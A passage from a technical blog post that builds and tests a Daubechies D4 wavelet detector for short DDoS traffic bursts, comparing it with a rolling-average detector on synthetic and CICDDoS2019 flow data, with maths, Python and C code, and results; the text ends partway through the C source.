&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;label=1&lt;/code&gt; means attack.&lt;/p&gt;&lt;p&gt;This is a good format for public datasets such as &lt;a href=&quot;https://www.kaggle.com/datasets/dhoogla/cicddos2019&quot;&gt;CICDDoS2019&lt;/a&gt;, because CICDDoS2019 provides CICFlowMeter CSV files with timestamps and labels.&lt;/p&gt;&lt;p&gt;The official CIC page says that &lt;a href=&quot;https://www.kaggle.com/datasets/dhoogla/cicddos2019&quot;&gt;CICDDoS2019&lt;/a&gt; contains benign traffic and modern DDoS attacks, includes true real-world-like PCAPs, and also includes CICFlowMeter-V3 CSV files with more than 80 traffic features and labels based on timestamp, IPs, ports, protocols and attack. Source: &lt;a href=&quot;https://www.unb.ca/cic/datasets/ddos-2019.html&quot;&gt;https://www.unb.ca/cic/datasets/ddos-2019.html&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;why not only rolling average?&lt;/h3&gt;&lt;p&gt;A rolling average detector does this:&lt;/p&gt;

\[\bar{x}_t=\frac{1}{W}\sum_{i=0}^{W-1}x_{t-i}\]

&lt;p&gt;and alerts when:&lt;/p&gt;

\[\bar{x}_t&amp;gt;\theta\]

&lt;p&gt;This works for long attacks. But it has two problems:&lt;/p&gt;&lt;p&gt;short attacks can be averaged away;  &lt;br/&gt;
after a short attack ends, the average can stay high and create a post-attack alert tail.&lt;/p&gt;&lt;p&gt;The second problem is important. In production systems this can lead to bad mitigation TTLs, slow recovery, and unnecessary blocking after the traffic has already normalized.&lt;/p&gt;&lt;h3&gt;Daubechies D4&lt;/h3&gt;&lt;p&gt;The Daubechies D4 wavelet uses four low-pass coefficients:&lt;/p&gt;

\[h_0=\frac{1+\sqrt{3}}{4\sqrt{2}}\]

\[h_1=\frac{3+\sqrt{3}}{4\sqrt{2}}\]

\[h_2=\frac{3-\sqrt{3}}{4\sqrt{2}}\]

\[h_3=\frac{1-\sqrt{3}}{4\sqrt{2}}\]

&lt;p&gt;Numerically:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;h0 =  0.4829629131
h1 =  0.8365163037
h2 =  0.2241438680
h3 = -0.1294095226&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;from this low-pass filter we build the high-pass detail filter:&lt;/p&gt;

\[g_k=(-1)^k h_{3-k}\]

&lt;p&gt;So:&lt;/p&gt;

\[g_0=h_3,\quad g_1=-h_2,\quad g_2=h_1,\quad g_3=-h_0\]

&lt;p&gt;The streaming detail coefficient used in this PoC is:&lt;/p&gt;

\[d_t = g_0x_{t-3}+g_1x_{t-2}+g_2x_{t-1}+g_3x_t\]

&lt;p&gt;Then we use absolute detail energy:&lt;/p&gt;

\[e_t=|d_t|\]

&lt;p&gt;And a robust z-score:&lt;/p&gt;

\[z_t=\frac{e_t-\operatorname{median}(E_{baseline})}
{1.4826\cdot\operatorname{MAD}(E_{baseline})}\]

&lt;p&gt;where:&lt;/p&gt;

\[\operatorname{MAD}(E)=
\operatorname{median}(|E_i-\operatorname{median}(E)|)\]

&lt;p&gt;finally:&lt;/p&gt;

\[\text{alert}_t =
\begin{cases}
1, &amp;amp; z_t&amp;gt;\tau \\
0, &amp;amp; z_t\le\tau
\end{cases}\]

&lt;h3&gt;why D4 is better than Haar in this case&lt;/h3&gt;&lt;p&gt;Haar has two coefficients. D4 has four. This gives D4 a very useful property: two vanishing moments.&lt;/p&gt;&lt;p&gt;For the high-pass filter:&lt;/p&gt;

\[\sum_{k=0}^{3}g_k=0\]

&lt;p&gt;and:&lt;/p&gt;

\[\sum_{k=0}^{3}k g_k=0\]

&lt;p&gt;&lt;em&gt;What does this mean in simple words?&lt;/em&gt;&lt;/p&gt;&lt;p&gt;If traffic is almost constant:&lt;/p&gt;

\[x_t=a\]

&lt;p&gt;then:&lt;/p&gt;

\[d_t=0\]

&lt;p&gt;If traffic is a smooth linear trend:&lt;/p&gt;

\[x_t=a+bt\]

&lt;p&gt;then D4 still suppresses it much better than a simple edge detector.&lt;/p&gt;&lt;p&gt;but if traffic suddenly jumps:&lt;/p&gt;

\[x_t =
\begin{cases}
B, &amp;amp; t&amp;lt;t_0 \\
A, &amp;amp; t\ge t_0
\end{cases}\]

&lt;p&gt;then:&lt;/p&gt;

\[d_t \neq 0\]

&lt;p&gt;near the jump.&lt;/p&gt;&lt;p&gt;this is exactly what we want for short DDoS bursts: ignore smooth baseline movement, react strongly to abrupt changes.&lt;/p&gt;&lt;h3&gt;practical example&lt;/h3&gt;&lt;p&gt;for local reproducibility, I created a small CICDDoS2019-style time series:&lt;/p&gt;&lt;p&gt;this fixture is not the full CICDDoS2019 dataset. It is a tiny local sample in the same time-series format. The included converter script can turn real CICDDoS2019 flow CSV into this format.&lt;/p&gt;&lt;p&gt;first, create the local fixture:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
import csv
import math


def is_attack(t):
    return 170 &amp;lt;= t &amp;lt;= 176 or 260 &amp;lt;= t &amp;lt;= 268


def value_at(t):
    baseline = 120.0 + 16.0 * math.sin(2.0 * math.pi * t / 96.0)
    tiny_noise = ((t * 17) % 13) * 0.9

    # CICDDoS-like flow aggregation: mostly calm baseline, then short
    # high-rate attack intervals.
    if 170 &amp;lt;= t &amp;lt;= 176:
        return 1450.0 + ((t * 19) % 31) * 4.0
    if 260 &amp;lt;= t &amp;lt;= 268:
        return 1120.0 + ((t * 23) % 29) * 3.5

    return baseline + tiny_noise


def main():
    with open(&amp;quot;fixture_cic_timeseries.csv&amp;quot;, &amp;quot;w&amp;quot;, newline=&amp;quot;&amp;quot;) as f:
        writer = csv.writer(f)
        writer.writerow([&amp;quot;t&amp;quot;, &amp;quot;value&amp;quot;, &amp;quot;label&amp;quot;])
        for t in range(360):
            writer.writerow([t, f&amp;quot;{value_at(t):.6f}&amp;quot;, int(is_attack(t))])

    print(&amp;quot;wrote fixture_cic_timeseries.csv&amp;quot;)


if __name__ == &amp;quot;__main__&amp;quot;:
    main()&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;python3 make_fixture.py&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/210/2026-06-25_16-29.png&quot; alt=&quot;ddos&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;it writes:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;fixture_cic_timeseries.csv&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3&gt;C detector&lt;/h3&gt;&lt;p&gt;The C program reads:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;t,value,label&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;then it computes:&lt;/p&gt;&lt;ol&gt;
  &lt;li&gt;rolling average;&lt;/li&gt;
  &lt;li&gt;Daubechies D4 detail coefficient;&lt;/li&gt;
  &lt;li&gt;robust z-score;&lt;/li&gt;
  &lt;li&gt;event-level metrics.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;The most important part is the D4 filter:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;static void compute_db4_detail(sample_t *s, int n) {
  const double sqrt3 = 1.7320508075688772935;
  const double denom = 4.0 * 1.4142135623730950488;

  const double h0 = (1.0 + sqrt3) / denom;
  const double h1 = (3.0 + sqrt3) / denom;
  const double h2 = (3.0 - sqrt3) / denom;
  const double h3 = (1.0 - sqrt3) / denom;

  const double g0 = h3;
  const double g1 = -h2;
  const double g2 = h1;
  const double g3 = -h0;

  for (int i = 3; i &amp;lt; n; i++) {
    s[i].db4_detail =
      g0 * s[i - 3].value +
      g1 * s[i - 2].value +
      g2 * s[i - 1].value +
      g3 * s[i].value;
    s[i].db4_detail = fabs(s[i].db4_detail);
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;This is the core idea. Four samples go in, one detail value comes out.&lt;/p&gt;&lt;p&gt;The detector then calibrates a baseline from benign samples before the first attack:&lt;/p&gt;&lt;p&gt;then:&lt;/p&gt;&lt;p&gt;So, the full source code look like this (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hack.c&lt;/code&gt;):&lt;/p&gt;&lt;h3&gt;demo&lt;/h3&gt;&lt;p&gt;Let’s see this in action. First of all, compile:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;gcc -O2 -Wall -Wextra hack.c -lm -o hack&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/210/2026-06-25_16-38.png&quot; alt=&quot;ddos&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;run on the local fixture:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;./hack fixture_cic_timeseries.csv db4_results.csv 600 8&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/210/2026-06-25_16-40.png&quot; alt=&quot;ddos&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;as you can see, in my case:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;input: fixture_cic_timeseries.csv
samples: 360
baseline samples: 167
db4 detail median: 4.11610831
db4 detail robust sigma: 2.30696801
rolling average threshold: 600.00
db4 z-score threshold: 8.00

event-level rolling average: TP=2 FP=12 FN=0 events=2
event-level Daubechies D4:  TP=2 FP=0 FN=0 events=2

wrote db4_results.csv&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Both methods detected the two attack events. But rolling average produced &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;12&lt;/code&gt; false post-event alerts because it stays high after the event. D4 produced &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0&lt;/code&gt; false events in this test.&lt;/p&gt;&lt;p&gt;this is the main practical result:&lt;/p&gt;&lt;h3&gt;plot&lt;/h3&gt;&lt;p&gt;Generate the plot:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;python3 plot_db4.py&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;result:&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/210/2026-06-25_16-43.png&quot; alt=&quot;ddos-db4&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/210/db4_detection.png&quot; alt=&quot;ddos-db4&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;the first plot shows the traffic feature and rolling average. The orange rolling average remains high after the attack ends, which explains the false alert tail.&lt;/p&gt;&lt;p&gt;the second plot shows the Daubechies D4 robust z-score. D4 reacts around the sharp transitions and then returns to baseline quickly.&lt;/p&gt;&lt;p&gt;the third plot compares event-level &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TP&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FP&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FN&lt;/code&gt;.&lt;/p&gt;&lt;h3&gt;proof that this works&lt;/h3&gt;&lt;p&gt;Most of my readers may ask, why this concept works? there are two proofs here: mathematical and experimental.&lt;/p&gt;&lt;p&gt;mathematical proof: rolling average is a smoothing filter. For a short pulse of amplitude \(A \) and duty cycle \(p \):&lt;/p&gt;

\[\bar{x}=pA\]

&lt;p&gt;If:&lt;/p&gt;

\[pA\le\theta\]

&lt;p&gt;the detector misses or delays the alert.&lt;/p&gt;&lt;p&gt;D4 detail is a high-pass wavelet coefficient:&lt;/p&gt;

\[d_t =
g_0x_{t-3}+g_1x_{t-2}+g_2x_{t-1}+g_3x_t\]

&lt;p&gt;It suppresses smooth behavior because:&lt;/p&gt;

\[\sum g_k=0\]

&lt;p&gt;and:&lt;/p&gt;

\[\sum k g_k=0\]

&lt;p&gt;but it reacts to abrupt attack transitions because step-like traffic changes create non-zero high-pass response.&lt;/p&gt;&lt;p&gt;What about experimental proof?&lt;/p&gt;&lt;p&gt;On the local CICDDoS-style test:&lt;/p&gt;&lt;p&gt;so in this case D4 preserves detection while reducing false positives:&lt;/p&gt;

\[\Delta FP=FP_{avg}-FP_{D4}=12-0=12\]

&lt;p&gt;this is better because an Anti-DDoS detector is not only about finding attacks. It must also avoid unnecessary mitigation after the attack ends.&lt;/p&gt;&lt;h3&gt;practical example 2: using real CICDDoS2019 CSV&lt;/h3&gt;&lt;p&gt;Now let’s use real data. Download CICDDoS2019 CSV files from the official page:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;https://www.unb.ca/cic/datasets/ddos-2019.html&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;I downloaded part of CICDDoS2019 into:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;curl &amp;#39;https://cicresearch.ca//CICDataset/CICDDoS2019/download.php?file=CSVs%2FCSV-03-11.zip&amp;#39; \
  -H &amp;#39;User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0&amp;#39; \
  -H &amp;#39;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&amp;#39; \
  -H &amp;#39;Accept-Language: en-US,en;q=0.5&amp;#39; \
  -H &amp;#39;Accept-Encoding: gzip, deflate, br, zstd&amp;#39; \
  -H &amp;#39;Referer: https://cicresearch.ca//CICDataset/CICDDoS2019/browse.php?p=CSVs&amp;#39; \
  -H &amp;#39;DNT: 1&amp;#39; \
  -H &amp;#39;Sec-GPC: 1&amp;#39; \
  -H &amp;#39;Connection: keep-alive&amp;#39; \
  -H &amp;#39;Cookie: Token=77m9ojfb0piir76m5jtropb6mp&amp;#39; \
  -H &amp;#39;Upgrade-Insecure-Requests: 1&amp;#39; \
  -H &amp;#39;Sec-Fetch-Dest: document&amp;#39; \
  -H &amp;#39;Sec-Fetch-Mode: navigate&amp;#39; \
  -H &amp;#39;Sec-Fetch-Site: same-origin&amp;#39; \
  -H &amp;#39;Sec-Fetch-User: ?1&amp;#39; \
  -H &amp;#39;Priority: u=0, i&amp;#39; --output CICDoS2019-1.zip

curl &amp;#39;https://cicresearch.ca//CICDataset/CICDDoS2019/download.php?file=CSVs%2FCSV-01-12.zip&amp;#39; \
  -H &amp;#39;User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0&amp;#39; \
  -H &amp;#39;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&amp;#39; \ 
  -H &amp;#39;Accept-Language: en-US,en;q=0.5&amp;#39; \
  -H &amp;#39;Accept-Encoding: gzip, deflate, br, zstd&amp;#39; \
  -H &amp;#39;Referer: https://cicresearch.ca//CICDataset/CICDDoS2019/browse.php?p=CSVs&amp;#39; \
  -H &amp;#39;DNT: 1&amp;#39; \
  -H &amp;#39;Sec-GPC: 1&amp;#39; \
  -H &amp;#39;Connection: keep-alive&amp;#39; \
  -H &amp;#39;Cookie: Token=77m9ojfb0piir76m5jtropb6mp&amp;#39; \
  -H &amp;#39;Upgrade-Insecure-Requests: 1&amp;#39; \
  -H &amp;#39;Sec-Fetch-Dest: document&amp;#39; \
  -H &amp;#39;Sec-Fetch-Mode: navigate&amp;#39; \
  -H &amp;#39;Sec-Fetch-Site: same-origin&amp;#39; \
  -H &amp;#39;Sec-Fetch-User: ?1&amp;#39; \
  -H &amp;#39;Priority: u=0, i&amp;#39; --output CICDDoS2019-2.zip&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/210/2026-06-25_18-21.png&quot; alt=&quot;ddos&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;tree ./03-11/&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/210/2026-06-25_17-48.png&quot; alt=&quot;ddos&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;For the first real-data experiment I use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Portmap.csv&lt;/code&gt;. The reason is pragmatic: it is the smallest file in this folder, but it is still a real CICDDoS2019 CICFlowMeter CSV with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Timestamp&lt;/code&gt;, more than 80 flow features, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Label&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/210/2026-06-25_17-49.png&quot; alt=&quot;ddos&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/210/2026-06-25_17-50.png&quot; alt=&quot;ddos&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;The raw labels include:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;BENIGN
Portmap&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;the input is still too detailed for our wavelet detector because every row is a flow. So the first step is aggregation:&lt;/p&gt;

\[x_t = \#\{\text{flows in second }t\}\]

&lt;p&gt;and:&lt;/p&gt;

\[y_t =
\begin{cases}
1, &amp;amp; \text{at least one Portmap flow exists in second }t \\
0, &amp;amp; \text{otherwise}
\end{cases}\]

&lt;p&gt;I created a dedicated script for this real-data case:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;python3 prepare_03_11_real.py --input 03-11/Portmap.csv -o portmap_real_timeseries.csv --attack-label Portmap --feature count&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&quot;https://cocomelonc.github.io/assets/images/210/2026-06-25_17-52.png&quot; alt=&quot;ddos&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;As you can see, on my data:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;source: 03-11/Portmap.csv
rows converted: 191694
seconds: 2613
attack-labeled seconds: 450
feature: count
wrote portmap_real_timeseries.csv&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The important difference from the synthetic example is baseline calibration. In this real file the first attack label appears almost immediately. So it is wrong to train only on samples before the first attack.&lt;/p&gt;&lt;p&gt;Instead, the new detector learns baseline statistics from all seconds with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;label=0&lt;/code&gt;:&lt;/p&gt;

\[B_{avg} = \{\bar{x}_t : y_t=0\}\]

\[B_{D4} = \{|d_t| : y_t=0\}\]

&lt;p&gt;Then both detectors use the same robust z-score idea:&lt;/p&gt;

\[z^{avg}_t =
\frac{\bar{x}_t-\operatorname{median}(B_{avg})}
{1.4826\cdot\operatorname{MAD}(B_{avg})}\]

\[z^{D4}_t =
\frac{|d_t|-\operatorname{median}(B_{D4})}
{1.4826\cdot\operatorname{MAD}(B_{D4})}\]

&lt;p&gt;So the comparison is fair: rolling average and D4 both get robust normalization from BENIGN-labeled baseline seconds.&lt;/p&gt;&lt;p&gt;Full source code for real-CSV detector (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hack_real.c&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;pre&gt;&lt;code&gt;/*
 * hack_real.c
 * Daubechies D4 wavelet detector for real CICDDoS2019-derived time series
 * author @cocomelonc
 *
 * label=0 is BENIGN, label=1 is attack.
 *
 * difference from the toy PoC:
 * - baseline is learned from all BENIGN-labeled seconds, not only from the
 *   prefix before the first attack. This is important for CICDDoS2019 files
 *   where attack traffic may begin very early.
 * - rolling average and DB4 detail are both converted to robust z-scores, so
 *   thresholds are comparable.
 */
#include &amp;lt;ctype.h&amp;gt;
#include &amp;lt;errno.h&amp;gt;
#include &amp;lt;math.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

#define MAX_SAMPLES 400000
#define LINE_MAX_LEN 4096
#define AVG_WINDOW 16
#define EVENT_MERGE_GAP 5
#define EVENT_GRACE 3

typedef struct {
  int t;
  double value;
  int label;
  double rolling_avg;
  double avg_score;
  double db4_detail;
  double db4_score;
  int avg_alert;
  int db4_alert;
} sample_t;

typedef struct {
  int tp;
  int fp;
  int fn;
  int events;
} metrics_t;

static int cmp_double(const void *a, const void *b) {
  double x = *(const double *)a;
  double y = *(const double *)b;
  return (x &amp;gt; y) - (x &amp;lt; y);
}

static double median(double *v, int n) {
  double *tmp = (double *)malloc(sizeof(double) * n);
  if (!tmp) {
    perror(&amp;quot;malloc&amp;quot;);
    exit(1);
  }
  memcpy(tmp, v, sizeof(double) * n);
  qsort(tmp, n, sizeof(double), cmp_double);

  double result = (n % 2 == 0) ? (tmp[n / 2 - 1] + tmp[n / 2]) / 2.0 : tmp[n / 2];
  free(tmp);
  return result;
}

static double mad(double *v, int n, double med) {
  double *dev = (double *)malloc(sizeof(double) * n);
  if (!dev) {
    perror(&amp;quot;malloc&amp;quot;);
    exit(1);
  }

  for (int i = 0; i &amp;lt; n; i++) {
    dev[i] = fabs(v[i] - med);
  }

  double result = median(dev, n);
  free(dev);
  return result &amp;lt; 1e-9 ? 1e-9 : result;
}

static char *trim(char *s) {
  while (isspace((unsigned char)*s)) {
    s++;
  }
  if (*s == 0) {
    return s;
  }

  char *end = s + strlen(s) - 1;
  while (end &amp;gt; s &amp;amp;&amp;amp; isspace((unsigned char)*end)) {
    *end = 0;
    end--;
  }
  return s;
}

static int read_series(const char *path, sample_t *samples) {
  FILE *f = fopen(path, &amp;quot;r&amp;quot;);
  if (!f) {
    fprintf(stderr, &amp;quot;failed to open %s: %s\n&amp;quot;, path, strerror(errno));
    exit(1);
  }

  char line[LINE_MAX_LEN];
  int n = 0;
  int line_no = 0;

  while (fgets(line, sizeof(line), f)) {
    line_no++;
    char *p = trim(line);
    if (*p == 0) {
      continue;
    }
    if (line_no == 1 &amp;amp;&amp;amp; strstr(p, &amp;quot;t&amp;quot;) &amp;amp;&amp;amp; strstr(p, &amp;quot;value&amp;quot;)) {
      continue;
    }

    char *t_s = strtok(p, &amp;quot;,&amp;quot;);
    char *value_s = strtok(NULL, &amp;quot;,&amp;quot;);
    char *label_s = strtok(NULL, &amp;quot;,&amp;quot;);
    if (!t_s || !value_s || !label_s) {
      fprintf(stderr, &amp;quot;invalid CSV line %d\n&amp;quot;, line_no);
      exit(1);
    }
    if (n &amp;gt;= MAX_SAMPLES) {
      fprintf(stderr, &amp;quot;too many samples, max=%d\n&amp;quot;, MAX_SAMPLES);
      exit(1);
    }

    samples[n].t = atoi(trim(t_s));
    samples[n].value = atof(trim(value_s));
    samples[n].label = atoi(trim(label_s)) != 0;
    n++;
  }

  fclose(f);
  return n;
}

static void compute_rolling_avg(sample_t *s, int n) {
  for (int i = 0; i &amp;lt; n; i++) {
    int start = i - AVG_WINDOW + 1;
    if (start &amp;lt; 0) {
      start = 0;
    }

    double sum = 0.0;
    int count = 0;
    for (int j = start; j &amp;lt;= i; j++) {
      sum += s[j].value;
      count++;
    }
    s[i].rolling_avg = sum / (double)count;
  }
}

static void compute_db4_detail(sample_t *s, int n) {
  const double sqrt3 = 1.7320508075688772935;
  const double denom = 4.0 * 1.4142135623730950488;

  const double h0 = (1.0 + sqrt3) / denom;
  const double h1 = (3.0 + sqrt3) / denom;
  const double h2 = (3.0 - sqrt3) / denom;
  const double h3 = (1.0 - sqrt3) / denom;

  const double g0 = h3;
  const double g1 = -h2;
  const double g2 = h1;
  const double g3 = -h0;

  for (int i = 3; i &amp;lt; n; i++) {
    s[i].db4_detail =
      g0 * s[i - 3].value +
      g1 * s[i - 2].value +
      g2 * s[i - 1].value +
      g3 * s[i].value;
    s[i].db4_detail = fabs(s[i].db4_detail);
  }
}

static int collect_benign_feature(sample_t *s, int n, double *out, int feature) {
  int count = 0;
  for (int i = 0; i &amp;lt; n; i++) {
    if (s[i].label) {
      continue;
    }
    out[count++] = (feature == 0) ? s[i].rolling_avg : s[i].db4_detail;
  }
  return count;
}

static metrics_t event_metrics(sample_t *s, int n, int use_db4) {
  metrics_t m = {0, 0, 0, 0};
  unsigned char *covered = (unsigned char *)calloc(n, sizeof(unsigned char));
  if (!covered) {
    perror(&amp;quot;calloc&amp;quot;);
    exit(1);
  }

  int i = 0;
  while (i &amp;lt; n) {
    if (!s[i].label) {
      i++;
      continue;
    }

    int start = i;
    int end = i;
    int last_attack = i;
    i++;

    while (i &amp;lt; n) {
      if (s[i].label) {
        last_attack = i;
        end = i;
        i++;
        continue;
      }
      if (i - last_attack &amp;lt;= EVENT_MERGE_GAP) {
        end = i;
        i++;
        continue;
      }
      break;
    }

    int grace_end = end + EVENT_GRACE;
    if (grace_end &amp;gt;= n) {
      grace_end = n - 1;
    }

    int detected = 0;
    for (int j = start; j &amp;lt;= grace_end; j++) {
      covered[j] = 1;
      int alert = use_db4 ? s[j].db4_alert : s[j].avg_alert;
      if (alert) {
        detected = 1;
      }
    }

    m.events++;
    if (detected) {
      m.tp++;
    } else {
      m.fn++;
    }
  }

  for (i = 0; i &amp;lt; n; i++) {
    int alert = use_db4 ? s[i].db4_alert : s[i].avg_alert;
    if (alert &amp;amp;&amp;amp; !covered[i]) {
      m.fp++;
    }
  }

  free(covered);
  return m;
}

static void write_results(const char *path, sample_t *s, int n) {
  FILE *f = fopen(path, &amp;quot;w&amp;quot;);
  if (!f) {
    fprintf(stderr, &amp;quot;failed to open %s: %s\n&amp;quot;, path, strerror(errno));
    exit(1);
  }

  fprintf(f, &amp;quot;t,value,label,rolling_avg,avg_score,db4_detail,db4_score,avg_alert,db4_alert\n&amp;quot;);
  for (int i = 0; i &amp;lt; n; i++) {
    fprintf(f, &amp;quot;%d,%.8f,%d,%.8f,%.8f,%.8f,%.8f,%d,%d\n&amp;quot;,
      s[i].t,
      s[i].value,
      s[i].label,
      s[i].rolling_avg,
      s[i].avg_score,
      s[i].db4_detail,
      s[i].db4_score,
      s[i].avg_alert,
      s[i].db4_alert);
  }
  fclose(f);
}

int main(int argc, char **argv) {
  const char *input = &amp;quot;portmap_count_timeseries.csv&amp;quot;;
  const char *output = &amp;quot;portmap_real_results.csv&amp;quot;;
  double avg_threshold = 8.0;
  double db4_threshold = 8.0;

  if (argc &amp;gt; 1) {
    input = argv[1];
  }
  if (argc &amp;gt; 2) {
    output = argv[2];
  }
  if (argc &amp;gt; 3) {
    avg_threshold = atof(argv[3]);
  }
  if (argc &amp;gt; 4) {
    db4_threshold = atof(argv[4]);
  }

  sample_t *samples = (sample_t *)calloc(MAX_SAMPLES, sizeof(sample_t));
  if (!samples) {
    perror(&amp;quot;calloc&amp;quot;);
    return 1;
  }

  int n = read_series(input, samples);
  if (n &amp;lt; 32) {
    fprintf(stderr, &amp;quot;need at least 32 samples\n&amp;quot;);
    free(samples);
    return 1;
  }

  compute_rolling_avg(samples, n);
  compute_db4_detail(samples, n);

  double *benign_avg = (double *)malloc(sizeof(double) * n);
  double *benign_db4 = (double *)malloc(sizeof(double) * n);
  if (!benign_avg || !benign_db4) {
    perror(&amp;quot;malloc&amp;quot;);
    free(samples);
    return 1;
  }

  int benign_avg_n = collect_benign_feature(samples, n, benign_avg, 0);
  int benign_db4_n = collect_benign_feature(samples, n, benign_db4, 1);
  if (benign_avg_n &amp;lt; 16 || benign_db4_n &amp;lt; 16) {
    fprintf(stderr, &amp;quot;not enough benign samples\n&amp;quot;);
    free(benign_avg);
    free(benign_db4);
    free(samples);
    return 1;
  }

  double avg_med = median(benign_avg, benign_avg_n);
  double avg_sigma = 1.4826 * mad(benign_avg, benign_avg_n, avg_med);
  double db4_med = median(benign_db4, benign_db4_n);
  double db4_sigma = 1.4826 * mad(benign_db4, benign_db4_n, db4_med);

  for (int i = 0; i &amp;lt; n; i++) {
    samples[i].avg_score = (samples[i].rolling_avg - avg_med) / avg_sigma;
    samples[i].db4_score = (samples[i].db4_detail - db4_med) / db4_sigma;
    samples[i].avg_alert = samples[i].avg_score &amp;gt; avg_threshold;
    samples[i].db4_alert = samples[i].db4_score &amp;gt; db4_threshold;
  }

  metrics_t avg_m = event_metrics(samples, n, 0);
  metrics_t db4_m = event_metrics(samples, n, 1);

  printf(&amp;quot;input: %s\n&amp;quot;, input);
  printf(&amp;quot;samples: %d\n&amp;quot;, n);
  printf(&amp;quot;benign samples for baseline: %d\n&amp;quot;, benign_avg_n);
  printf(&amp;quot;rolling avg median: %.8f robust sigma: %.8f threshold z: %.2f\n&amp;quot;,
    avg_med, avg_sigma, avg_threshold);
  printf(&amp;quot;db4 detail median: %.8f robust sigma: %.8f threshold z: %.2f\n\n&amp;quot;,
    db4_med, db4_sigma, db4_threshold);

